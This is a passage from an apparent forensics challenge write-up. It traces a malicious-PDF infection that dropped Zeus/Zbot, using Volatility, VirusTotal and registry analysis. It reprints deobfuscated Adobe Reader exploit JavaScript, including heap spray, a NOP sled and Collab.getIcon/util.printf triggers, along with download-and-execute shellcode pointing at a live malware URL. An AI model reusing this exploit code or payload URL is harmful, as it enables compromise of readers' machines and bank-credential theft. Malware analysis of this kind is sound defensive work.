\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\u
F238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u
8B48\u1C56\uD303\u048
B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF7
8B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u75
68\u6C72\u546D\u8EB8\u0E
4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A
\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u
7468\u7074\u2F3A\u7
32F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616
F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u7
26F\u7265\u3620\u
302E\u6526\u333D\u0000\u1334\u1334");

dPl=sly("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u90
90\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u90
90
\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090
\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090
\u9090\u909
0\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u909
0\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+cqcNr;
	FQI=sly("\u9090\u9090");
	fhT=5*2;
	sLa=fhT+dPl.length;
	while(FQI.length<sLa)
		FQI+=FQI;
	NJn=FQI.substring(0,sLa);
	eUq=FQI.substring(0,FQI.length-sLa);
	while(eUq.length+sLa<0x40000)
		eUq=eUq+eUq+NJn;

	Cwy=[];
	for(XWT=0;XWT<180;XWT++)
		Cwy[XWT]=eUq+dPl;
```

```
	var kKG=4012;
	var LwZ=Array(kKG);
	for(XWT=0;XWT<kKG;XWT++) {
		LwZ[XWT]=sly("\u000a\u000a\u000a\u000a");
	}
	Collab.getIcon(LwZ+"_N.bundle");
}

var sly=unescape,ZgA=app.viewerVersion.toString(),TjP=this;
if(ZgA<8) {
	bSuTN();
}
if(ZgA>=8&&ZgA<9) {
	Soy();
}
if(ZgA<=9) {
	XiIHG();}
```

It's not possible to automatically completely analyze it through Spidermonkey (since it lacks Adobe objects) so let's try to understand what's going on. The code seems to be an exploit dispatcher that calls the right exploit basing on the Viewer version. A simple analysis reveals that

```
Function: Soy()
Adobe Reader 'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability exploit
Reference: http://www.securityfocus.com/bid/30035


Function:  bSuTN()
Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities
exploit
Reference: http://www.securityfocus.com/bid/27641/info


Function:  XiIGH()
Adobe Acrobat and Reader Collab 'getIcon()' JavaScript Method Remote Code Execution
Vulnerability exploit
Reference: http://www.securityfocus.com/bid/34169/info
```

The shellcode used seems the same so we prepare this file

```
cat shellcode.js

function OzWJi(rzRoI,fxLUb){
	while(rzRoI.length*2<fxLUb){
```

```
        rzRoI+=rzRoI;
    }
    return rzRoI.substring(0,fxLUb/2);
}

function bSuTN(){
    var
Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u
8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\
u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uB
E0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66
C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8A
CA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8
A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC0
33\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\
uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u
6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E
64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u
7265\u3620\u302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30")
;
    var HWXsi=202116108;
    var ZkzwV=[];
    var HsVTm=4194304;
    var EgAxi=Uueqk.length*2;
    var fxLUb=HsVTm-(EgAxi+0x38);
    var rzRoI=sly("\u9090\u9090");
    rzRoI=OzWJi(rzRoI,fxLUb);
    var tfFQG=(HWXsi-4194304)/HsVTm;
    for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){
        ZkzwV[gtqHE]=rzRoI+Uueqk;
    }
    var eHmqR=sly("\u0c0c\u0c0c");
    while(eHmqR.length<44952)
        eHmqR+=eHmqR;
    document.write(Uueqk);
}

var sly=unescape;
bSuTN();
```

We execute this file

```
js shellcode.js
```

and analyze the generated log file with a hex editor

```
00000000        ..3.d.@0x..@..p...X....@4.@|.X<jDZ..
00000024        +....OZR..V.U.VW.s<.t3x..V.v ..3.IPA
00000048        .3.6....8.t......@..X;.u.^.F$..f..H.
0000006C        V........_^P..}.WR.3..[.....2.....O.
00000090        e.ex.f.f..l...Phon.dhurlmT..N...U..P
000000B4        3.PPV.U......1RP.6./p.U.[3.WV......U
000000D8        .W....`.U.http://search-network-plus
000000FC        .com/load.php?a=a&st=Internet Explor
00000120        er 6.0&e=2..%.0.%.0.%.0.%.0.%.0.%.0.
```

At a first glance it seems a download-execution shellcode and the URL appears to be

```
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
```

An additional analysis confirms that our previous assumptions were correct.

```
host search-network-plus.com
search-network-plus.com has address 212.150.164.203
```

While answering question 2, we have identified a connection opened by *AcroRd32.exe* (PID 1752) and taking a look at it, the destination IP address matches the one we identified right now.

```
192.168.0.176:1178          212.150.164.203:80          1752
```

Moreover, while answering question 3, we identified these URLs which now appear clearly suspicious.

```
http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0
http://search-network-plus.com/load.php?a=a&st=Internet%20Explorer%206.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=1
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=3
```

The parameter *e* is maybe used to select a precise exploit to deliver to the attacked host. In our case, such parameter value is 2.

Question 7 - List suspicious files that were loaded by any processes on the victim's machine. From this information, what was a possible payload of the initial exploit be that would be affecting the victim's bank account? (2pts)

Tools used: Volatility, Google

By running the Volatility *files* command, the loaded files on the victim's machine can be seen with each associated PID.

```
python volatility files -f images/hn_forensics.vmem > files
```

Looking through the output, PID 644 (winlogon.exe) has an executable loaded in to memory which appears to be very odd.

```
File   \WINDOWS\system32\sdra64.exe
```

With this information, Google points to many good articles which describe this possible payload.

http://blog.threatfire.com/2009/11/zbot-not-your-typical-malware.html
http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=PWS:Win32/Zbot
https://zeustracker.abuse.ch/faq.php

The articles direct us towards a Zeus (or Zbot) infection. Threatfire blog gives us additional hints about the possible infection mechanism. According the Threatfire blog, Zeus initially injects itself into winlogon.exe and piggybacks itself on to the first real svchost process it finds. Since the infection is most likely Zeus, this would explain the victim's current bank troubles since Zeus is designed to steal user's credentials.

Question 8 - If any suspicious files can be extracted from an injected process, do any antivirus products pick up the suspicious executable? What is the general result from antivirus products? (6pts)

Tools used: Volatility, Virustotal

Using malfind, a volatility plugin by Michael Ligh[7], all executables can be extracted from the processes running on the victim's machine.

```
python volatility malfind2 -f images/hn_forensics.vmem -d out
```

This extracts all possible executable which could be responsible for the system infection. Each extracted file is named with its associated PID. We know that winlogon.exe is currently infected and there is just one executable file extracted associated with PID 644 (winlogon.exe).

MD5Sum: 81ade41b0b50161cd40a792fd65f15eb

The returned VirusTotal result confirms our assumptions.

Antivirus	Version	Last Update	Result
a-squared	4.5.0.50	2010.03.01	-
AhnLab-V3	5.0.0.2	2010.02.28	-
AntiVir	8.2.1.176	2010.03.01	TR/Crypt.XPACK.Gen
Antiy-AVL	2.0.3.7	2010.03.01	-
Authentium	5.2.0.5	2010.03.01	-
Avast	4.8.1351.0	2010.03.01	Win32:Zbot-BCW
Avast5	5.0.332.0	2010.02.24	Win32:Zbot-BCW
AVG	9.0.0.730	2010.03.01	Win32/Cryptor
BitDefender	7.02	2010.03.01	-
CAT-QuickHeal	10.00	2010.03.01	-
ClamAV	0.96.0.0-git	2010.03.01	-
Comodo	4091	2010.02.28	-
DrWeb	5.0.1.12222	2010.03.01	-
eSafe	7.0.17.0	2010.02.28	-
eTrust-Vet	35.2.7334	2010.03.01	-
F-Prot	4.5.1.85	2010.03.01	-
F-Secure	9.0.15370.0	2010.03.01	-
Fortinet	4.0.14.0	2010.02.28	-
GData	19	2010.03.01	Win32:Zbot-BCW
Ikarus	T3.1.1.80.0	2010.03.01	-
Jiangmin	0,552083	2010.03.01	-
K7AntiVirus	0,31	2010.02.26	-

[7] http://mnin.blogspot.com/2009/12/new-and-updated-volatility-plug-ins.html

Kaspersky	7.0.0.125	2010.03.01	Heur.Trojan.Generic
McAfee	5906	2010.02.28	-
McAfee+Artemis	5906	2010.02.28	-
McAfee-GW-Edition	6.08.05	2010.03.01	Trojan.Crypt.XPACK.Gen
Microsoft	15.502	2010.03.01	PWS:Win32/Zbot.gen!R
NOD32	4904	2010.03.01	-
Norman	6.04.08	2010.03.01	W32/Zbot.DBB
nProtect	2009.1.8.0	2010.03.01	-
Panda	10.0.2.2	2010.02.28	-
PCTools	7.0.3.5	2010.02.28	-
Prevx	3.00	2010.03.01	-
Rising	22.37.00.04	2010.03.01	-
Sophos	4.50.00	2010.03.01	Troj/Zbot-HJ
Sunbelt	5714	2010.03.01	Trojan-Spy.Win32.Zbot.gen (v)
Symantec	20091.2.0.41	2010.03.01	Suspicious.Insight
TheHacker	6.5.1.7.216	2010.03.01	-
TrendMicro	9.120.0.1004	2010.03.01	TSPY_ZBOT.SMRL
VBA32	3.12.12.2	2010.03.01	-
ViRobot	2010.2.27.2206	2010.02.27	-
VirusBuster	5.0.27.0	2010.03.01	-

The detection of this file is still somewhat low. However the ones that do detect it seem to find the correct signatures for Zeus.

Question 9 - Are there any related registry entries associated with the payload? (4pts)

Tools used: Volatility

According to the Microsoft article posted in question 7, there should be a registry entry created in the "Winlogon" key located at:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

Using volatility's hivescan, hivelist and printkey plugins, this key can be easily found.

```
python volatility hivescan –f images/hn_forensics.vmem

Offset      (hex)
44658696    0x2a97008
44686176    0x2a9db60
48529416    0x2e48008
55269896    0x34b5a08
57399112    0x36bd748
59082008    0x3858518
70588752    0x4351950
111029088   0x69e2b60
114539360   0x6d3bb60
121604960   0x73f8b60
180321120   0xabf7b60
191408992   0xb68ab60
244959264   0xe99c820

python volatility hivelist –o 44658696 –f images/hn_forensics.vmem

Address     Name
0xe1d6cb60  \Documents and Settings\Administrator\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe1de0b60  \Documents and Settings\Administrator\NTUSER.DAT
0xe1769b60  \Documents and Settings\LocalService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe17deb60  \Documents and Settings\LocalService\NTUSER.DAT
0xe1797b60  \Documents and Settings\NetworkService\Local Settings\Application
Data\Microsoft\Windows\UsrClass.dat
0xe17a3820  \Documents and Settings\NetworkService\NTUSER.DAT
0xe1526748  \WINDOWS\system32\config\software
0xe15a3950  \WINDOWS\system32\config\default
0xe151ea08  \WINDOWS\system32\config\SAM
0xe153e518  \WINDOWS\system32\config\SECURITY
0xe139d008  [no name]
```

0xe1035b60 \WINDOWS\system32\config\system
0xe102e008 [no name]

python volatility printkey -o 0xe1526748 -f images/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon

Key name: Winlogon (Stable)
Last updated: Sat Feb 27 21:12:34 2010

Subkeys:
GPExtensions (Stable)
Notify (Stable)
SpecialAccounts (Stable)
Credentials (Volatile)

Values:

REG_DWORD	AutoRestartShell : 1 (Stable)
REG_SZ	DefaultDomainName : BOB-DCADFEDC55C (Stable)
REG_SZ	DefaultUserName : Administrator (Stable)
REG_SZ	LegalNoticeCaption : (Stable)
REG_SZ	LegalNoticeText : (Stable)
REG_SZ	PowerdownAfterShutdown : 0 (Stable)
REG_SZ	ReportBootOk : 1 (Stable)
REG_SZ	Shell : Explorer.exe (Stable)
REG_SZ	ShutdownWithoutLogon : 0 (Stable)
REG_SZ	System : (Stable)
REG_SZ	Userinit : C:\WINDOWS\system32\userinit.exe,**C:\WINDOWS\system32\sdra64.exe**, (Stable)
REG_SZ	VmApplet : rundll32 shell32,Control_RunDLL "sysdm.cpl" (Stable)
REG_DWORD	SfcQuota : 4294967295 (Stable)
REG_SZ	allocatecdroms : 0 (Stable)
REG_SZ	allocatedasd : 0 (Stable)
REG_SZ	allocatefloppies : 0 (Stable)
REG_SZ	cachedlogonscount : 10 (Stable)
REG_DWORD	forceunlocklogon : 0 (Stable)
REG_DWORD	passwordexpirywarning : 14 (Stable)
REG_SZ	scremoveoption : 0 (Stable)
REG_DWORD	AllowMultipleTSSessions : 1 (Stable)
REG_EXPAND_SZ	UIHost : logonui.exe (Stable)
REG_DWORD	LogonType : 1 (Stable)
REG_SZ	Background : 0 0 0 (Stable)
REG_SZ	AutoAdminLogon : 0 (Stable)
REG_SZ	DebugServerCommand : no (Stable)
REG_DWORD	SFCDisable : 0 (Stable)
REG_SZ	WinStationsDisabled : 0 (Stable)

REG_DWORD	HibernationPreviouslyEnabled : 1 (Stable)
REG_DWORD	ShowLogonOptions : 0 (Stable)
REG_SZ	AltDefaultUserName : Administrator (Stable)
REG_SZ	AltDefaultDomainName : BOB-DCADFEDC55C (Stable)

The registry entry is in the exact spot as stated in the Microsoft article thus confirming our assumptions.

Question 10 - What technique was used in the initial exploit to inject code in to the other processes? (6pts)

We have assumed that winlogon.exe is initially infected by Zeus. Let's see what happens later. We have already seen that all the dumped processes contain the string.

```
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

Let's see it again for convenience.

```
for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done

1244.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
1752.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
880.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
888.dmp
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
```

This could lead to the assumption that Zeus malware is infecting every system process. Tracing a timeline, we can assume the Zeus executable is downloaded from the URL

```
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
```

and executed. For further confirmation, while answering question 8, an executable file was extracted from the *AcroRead.exe* process address space and analyzed through VirusTotal.

MD5Sum: b436223d5eafcf233fd603eb33ba853b

Antivirus	Versione	Last Update	Risultato
a-squared	4.5.0.50	2010.03.04	-
AhnLab-V3	5.0.0.2	2010.03.04	-
AntiVir	8.2.1.180	2010.03.04	TR/Crypt.XPACK.Gen
Antiy-AVL	2.0.3.7	2010.03.04	-
Authentium	5.2.0.5	2010.03.04	-

Avast	4.8.1351.0	2010.03.03	Win32:Zbot-BCW
Avast5	5.0.332.0	2010.03.03	Win32:Zbot-BCW
AVG	9.0.0.730	2010.03.04	Win32/Cryptor
BitDefender	7.02	2010.03.04	-
CAT-QuickHeal	10.00	2010.03.04	-
ClamAV	0.96.0.0-git	2010.03.04	-
Comodo	4091	2010.02.28	-
DrWeb	5.0.1.12222	2010.03.04	-
eSafe	7.0.17.0	2010.03.03	-
eTrust-Vet	35.2.7339	2010.03.04	-
F-Prot	4.5.1.85	2010.03.03	-
F-Secure	9.0.15370.0	2010.03.04	-
Fortinet	4.0.14.0	2010.03.04	-
GData	19	2010.03.04	Win32:Zbot-BCW
Ikarus	T3.1.1.80.0	2010.03.04	-
Jiangmin	0,552083	2010.03.04	-
K7AntiVirus	0,310058	2010.03.03	-
Kaspersky	7.0.0.125	2010.03.04	Heur.Trojan.Generic
McAfee	5909	2010.03.03	-
McAfee+Artemis	5909	2010.03.03	-
McAfee-GW-Edition	6.08.05	2010.03.04	Trojan.Crypt.XPACK.Gen
Microsoft	15.502	2010.03.04	PWS:Win32/Zbot.gen!R
NOD32	4913	2010.03.03	a variant of Win32/Kryptik.ASG
Norman	6.04.08	2010.03.03	W32/Zbot.DBB
nProtect	2009.1.8.0	2010.03.04	-
Panda	10.0.2.2	2010.03.03	-
PCTools	7.0.3.5	2010.03.04	-
Prevx	3.00	2010.03.04	-
Rising	22.37.03.04	2010.03.04	-
Sophos	4.51.00	2010.03.04	Troj/Zbot-HJ
Sunbelt	5746	2010.03.04	Trojan-Spy.Win32.Zbot.gen (v)
Symantec	20091.2.0.41	2010.03.04	Suspicious.Insight
TheHacker	6.5.1.7.220	2010.03.04	-
TrendMicro	9.120.0.1004	2010.03.04	TSPY_ZBOT.SMRL
VBA32	3.12.12.2	2010.03.04	-
ViRobot	2010.3.4.2211	2010.03.04	-
VirusBuster	5.0.27.0	2010.03.03	-

This confirms the executable file was downloaded within the Adobe Acrobat process address space by the exploit. Subsequently it was executed infecting winlogon.exe and modifying the Registry in order to be able to start at the subsequent reboots and injecting itself within every process address space. This could be useful for hooking Win32 network-related API in order to be able to steal user's credentials. Additional analysis would reveal that the sample downloads a RC4-encrypted configuration file which is used by Zeus for deciding which domains are worth monitoring during user surfing. When the user navigates a domain listed in the Zeus configuration file, the credential stealing process takes places. It's worth remarking that such analysis requires a complete reverse engineering of the sample and this activity is not required in order to complete the challenge.